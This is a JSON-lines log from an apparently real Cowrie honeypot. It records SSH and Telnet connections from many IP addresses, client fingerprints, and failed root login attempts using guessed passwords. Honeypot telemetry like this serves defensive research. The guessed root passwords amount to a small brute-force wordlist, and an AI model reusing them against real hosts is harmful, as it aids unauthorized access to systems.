{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:09.905941Z","src_ip":"62.133.63.178","session":"11bbc1801e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":59258,"dst_ip":"10.17.0.5","dst_port":22,"session":"5488df095b4e","protocol":"ssh","message":"New connection: 103.173.227.57:59258 (10.17.0.5:22) [session: 5488df095b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:23.441580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:23.445525Z","src_ip":"103.173.227.57","session":"5488df095b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:23.692058Z","src_ip":"103.173.227.57","session":"5488df095b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:24.432933Z","src_ip":"103.173.227.57","session":"5488df095b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:25.687189Z","src_ip":"103.173.227.57","session":"5488df095b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60002,"dst_ip":"10.17.0.5","dst_port":22,"session":"474d3e5c3122","protocol":"ssh","message":"New connection: 94.159.98.239:60002 (10.17.0.5:22) [session: 474d3e5c3122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:33.952578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:34.100340Z","src_ip":"94.159.98.239","session":"474d3e5c3122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:34.105849Z","src_ip":"94.159.98.239","session":"474d3e5c3122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021990","message":"login attempt [root/23021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:35.096868Z","src_ip":"94.159.98.239","session":"474d3e5c3122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:36.669744Z","src_ip":"94.159.98.239","session":"474d3e5c3122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.55901885032654,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:48.374073Z","src_ip":"135.148.14.151","session":"e6a9a5cb4aed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7962db2802","protocol":"telnet","message":"New connection: 135.148.14.151:46110 (159.203.135.109:23) [session: 9e7962db2802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:52.596192Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57172,"dst_ip":"159.203.135.109","dst_port":22,"session":"64070a73ad73","protocol":"ssh","message":"New connection: 103.149.28.157:57172 (159.203.135.109:22) [session: 64070a73ad73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:16.962027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:17.041726Z","src_ip":"103.149.28.157","session":"64070a73ad73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:17.292694Z","src_ip":"103.149.28.157","session":"64070a73ad73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"area51","message":"login attempt [root/area51] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:18.049691Z","src_ip":"103.149.28.157","session":"64070a73ad73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:19.304284Z","src_ip":"103.149.28.157","session":"64070a73ad73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56666,"dst_ip":"10.17.0.5","dst_port":22,"session":"1140a677b339","protocol":"ssh","message":"New connection: 103.172.78.219:56666 (10.17.0.5:22) [session: 1140a677b339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:21.830646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:21.840617Z","src_ip":"103.172.78.219","session":"1140a677b339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:22.095096Z","src_ip":"103.172.78.219","session":"1140a677b339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jerome","message":"login attempt [root/jerome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:22.842853Z","src_ip":"103.172.78.219","session":"1140a677b339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60508,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4dd806ea33","protocol":"telnet","message":"New connection: 135.148.14.151:60508 (159.203.135.109:23) [session: 5a4dd806ea33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:23.825675Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:24.099728Z","src_ip":"103.172.78.219","session":"1140a677b339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.105894565582275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:29.701966Z","src_ip":"135.148.14.151","session":"9e7962db2802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60836,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf91ce3cedb2","protocol":"telnet","message":"New connection: 135.148.14.151:60836 (159.203.135.109:23) [session: cf91ce3cedb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:30.605816Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":60875,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfa8de736c56","protocol":"telnet","message":"New connection: 179.102.17.221:60875 (159.203.135.109:23) [session: bfa8de736c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:33.492769Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":32777,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d5f25f4ce9","protocol":"telnet","message":"New connection: 179.102.17.221:32777 (159.203.135.109:23) [session: 72d5f25f4ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:34.480014Z"}
{"eventid":"cowrie.session.closed","duration":34.340110301971436,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:58.165655Z","src_ip":"135.148.14.151","session":"5a4dd806ea33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48448,"dst_ip":"159.203.135.109","dst_port":23,"session":"335cb6e5e7fd","protocol":"telnet","message":"New connection: 135.148.14.151:48448 (159.203.135.109:23) [session: 335cb6e5e7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:02:59.081565Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ecf69e80f0","protocol":"telnet","message":"New connection: 135.148.14.151:49282 (159.203.135.109:23) [session: 90ecf69e80f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:02.900789Z"}
{"eventid":"cowrie.session.closed","duration":36.17888140678406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:06.784580Z","src_ip":"135.148.14.151","session":"cf91ce3cedb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53698,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3c450ef144","protocol":"telnet","message":"New connection: 135.148.14.151:53698 (159.203.135.109:23) [session: 3e3c450ef144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:09.651334Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58802,"dst_ip":"159.203.135.109","dst_port":23,"session":"6276bc7ef78a","protocol":"telnet","message":"New connection: 135.148.14.151:58802 (159.203.135.109:23) [session: 6276bc7ef78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:20.190669Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37588,"dst_ip":"159.203.135.109","dst_port":23,"session":"319ca048ea8f","protocol":"telnet","message":"New connection: 135.148.14.151:37588 (159.203.135.109:23) [session: 319ca048ea8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:34.063999Z"}
{"eventid":"cowrie.session.closed","duration":35.49576139450073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:34.577209Z","src_ip":"135.148.14.151","session":"335cb6e5e7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40298271179199,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:35.303628Z","src_ip":"135.148.14.151","session":"90ecf69e80f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79919385910034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:48.450406Z","src_ip":"135.148.14.151","session":"3e3c450ef144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.75076484680176,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:03:59.941289Z","src_ip":"135.148.14.151","session":"6276bc7ef78a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25666379928589,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:09.320534Z","src_ip":"135.148.14.151","session":"319ca048ea8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35610,"dst_ip":"10.17.0.5","dst_port":22,"session":"778846f8be99","protocol":"ssh","message":"New connection: 103.77.175.15:35610 (10.17.0.5:22) [session: 778846f8be99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:12.496251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:12.501065Z","src_ip":"103.77.175.15","session":"778846f8be99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:12.757723Z","src_ip":"103.77.175.15","session":"778846f8be99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198787","message":"login attempt [root/198787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:13.533603Z","src_ip":"103.77.175.15","session":"778846f8be99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:14.797781Z","src_ip":"103.77.175.15","session":"778846f8be99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48644,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83776ef6907","protocol":"ssh","message":"New connection: 109.237.96.109:48644 (159.203.135.109:22) [session: d83776ef6907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:15.342491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:15.348495Z","src_ip":"109.237.96.109","session":"d83776ef6907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:15.442452Z","src_ip":"109.237.96.109","session":"d83776ef6907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:15.724550Z","src_ip":"109.237.96.109","session":"d83776ef6907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:16.820935Z","src_ip":"109.237.96.109","session":"d83776ef6907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56dc78b5ab9","protocol":"ssh","message":"New connection: 38.93.206.2:45952 (159.203.135.109:22) [session: f56dc78b5ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:16.951047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:04:16.958600Z","src_ip":"38.93.206.2","session":"f56dc78b5ab9","protocol":"ssh"}
